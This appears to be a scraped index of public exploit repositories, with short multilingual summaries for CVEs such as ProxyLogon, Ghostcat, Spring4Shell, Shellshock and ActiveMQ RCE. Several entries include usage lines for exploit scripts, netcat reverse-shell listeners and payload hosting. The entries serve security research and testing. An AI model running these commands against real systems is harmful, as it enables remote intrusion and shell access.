Proxylogon-exploit

Proxylogon-exploit exploit de proxylogon - CVE-2021-26857 uso: python exploit.py...

28458

CVE-2020-28458 此包的受影响版本存在原型污染漏洞。 datatables v1.10.16-1.10.16 用法 运行Python脚本并输入所需信息： 目标URL 代理URL（可选，无则留空） 超时时间（秒，默认10） 示例：python3 exploit.py 该脚本使用日志记录以获得更好的输出，并通过解析JSON响应（如可能）来检查原型污染。...

CVE-2024-9264

CVE-2024-9264 python CVE-2024-9264.py '' -u '' -p '' -c ''...

CVE-2018-2893

CVE-2018-2893 可以直接反弹shell Usage 监听 nc -lvvp reverseport 发送payload python weblogic.py targethost targetport reversehost reverseport Reffer bigsizeme pyn3rd 说明 仅用于测试和交流学习，勿作他用...

CVE-2020-1938_Ghostcat-PoC

CVE-2020-1938Ghostcat-PoC - CVE-2020-1938 Una potente herramienta de explotación en Python para la vulnerabilidad Ghostcat AJP de Apache Tomcat CVE-2020-1938 con funciones avanzadas para pruebas de penetración e investigación de seguridad. 🔍 Descripción general La vulnerabilidad Ghostcat...

Exploit-en-Python-para-CVE-2023-4147

🚨 Exploit en Python para CVE-2023-4147 Proof of Concept exploit para CVE-2023-4147. Exclusivamente para investigación de seguridad y educación. ⚠️ Advertencia Legal USO EXCLUSIVAMENTE EDUCATIVO Y AUTORIZADO ✅ Investigación de seguridad autorizada ✅ Entornos de laboratorio controlados ✅ Educación e...

wp-CVE-2017-5487-exploit

Exploit de WordPress CVE-2017-5487 en Python Ejemplos de uso: python3 krpexploit.py -h python3 krpexploit.py --url http://examplesite.com...

CVE-2025-24893_Shell

2025-24893Shell requisitos: httpx uso: python exploit.py victim.com...

Drupal_REST-RCE_Unauthenticated

CVE-2019-6340 — Drupal Servicios Web RESTful RCE Implementación en Python del exploit de ejecución remota de código para CVE-2019-6340, basado en el análisis del módulo de Metasploit y del trabajo previo de leonjza. Diferencia clave con EDB-46459: usa POST en lugar de GET, evitando la caché de...

CVE-2021-40438-POC

Nota: Diseñado únicamente para fines educativos y de pruebas controladas. Solo pruebe en sistemas para los que tenga permiso de evaluación. CVE-2021-40438 - Explotación SSRF ░█▀▀░█░█░█▀▀░░░░░▀▀▄░▄▀▄░▀▀▄░▀█░░░░░░█░█░▄▀▄░█░█░▀▀█░▄▀▄ ░█░░░▀▄▀░█▀▀░▄▄▄░▄▀░░█/█░▄▀░░░█░░▄▄▄░░▀█░█/█░░▀█░░▀▄░▄▀▄...

CVE-2022-22965

spring4shell ⭐ una implementación python de CVE-2022-22965 que proporciona un prompt al usuario al estilo de una sesión SSH. El script está diseñado para ser fácil de entender y ejecutar, con legibilidad y accesibilidad, según la elección del usuario. Diseñado para explotar la vulnerabilidad en...

cve-2023-37635

CVE-2023-37635 - Guía de explotación Instalación y configuración 1️⃣ Instalar dependencias pip install -r requirements.txt 2️⃣ Ejecutar el exploit Con un proxy: python brutForc.py Sin proxy: python brutForc.py -n Notas: Reemplaza con la URL objetivo. La opción -n desactiva el uso del proxy. ⚠️...

CVE-2014-6271

CVE-2014-6271 Shellshock Exploit en Python Una implementación limpia, eficiente e interactiva en Python diseñada para probar la vulnerabilidad Shellshock CVE-2014-6271 mediante inyección de variables de entorno HTTP. 📝 Descripción Shellshock CVE-2014-6271 es una vulnerabilidad crítica de segurida...

CVE-2025-32433-exploit

CVE-2025-32433-exploit rlwrap -cAr nc -lnvp 4444 python3 exploit.py...

CVE-2025-55182

Exploit CVE-2025-55182 Un sencillo script de python que explota la vulnerabilidad en React Server Components en CVE-2025-55182 inyectando un shell en la aplicación. El script está probado en Next.js versión 16.0.6. Uso Clona el repositorio git clone https://github.com/ahmedshamsddin/CVE-2025-5518...

netsec-project

Nombre del Proyecto Script de ataque CVE-2021-22555 Descripción Este proyecto es una herramienta de ataque automático implementada en Python. Realiza varias pruebas de seguridad y ataques en un sistema objetivo que ejecuta Ubuntu 20.04 con la versión del kernel 5.8.0-48. La herramienta incluye...

CVE-2023-27997-POC

Usage: python3 cve-2022-42475.py rhost rport lhost lport Exemple: python3 exploit.py 192.168.106.142 10443 192.168.106.143 9999 Disclaimer: This project is made for educational and ethical testing purposes only. Usage of this tool for attacking targets without prior mutual consent is illegal...

CVE-2023-46604-RCE

CVE-2023-46604-RCE Python implementation of Apache ActiveMQ Unauthenticated Remote Code Execution Setup & Exploit nc -lvnp 4444 - Start Listener python3 -m http.server 8080 - Host poc.xml that contain your payload python3 CVE-2023-46604-RCE.py -i -p -u http://:8080/poc.xml - Start exploit...

CVE-2021-21389

Usage 1. Build the vulnerable WordPress and BuddyPress environment using Docker. 2. Build and run the mariaDB container. 3. Ensure the two containers run on the same network. ex docker network create wordpressnetwork docker network connect wordpressnetwork wordpressapp docker network connect...

thm_steelmountain_CVE-2014-6287

thmsteelmountainCVE-2014-6287 una versión en python3 del exploit escrito para CVE-2014-6287. Útil para completar la sala "Steel Mountain" en TryHackMe.com sin el uso de metasploit...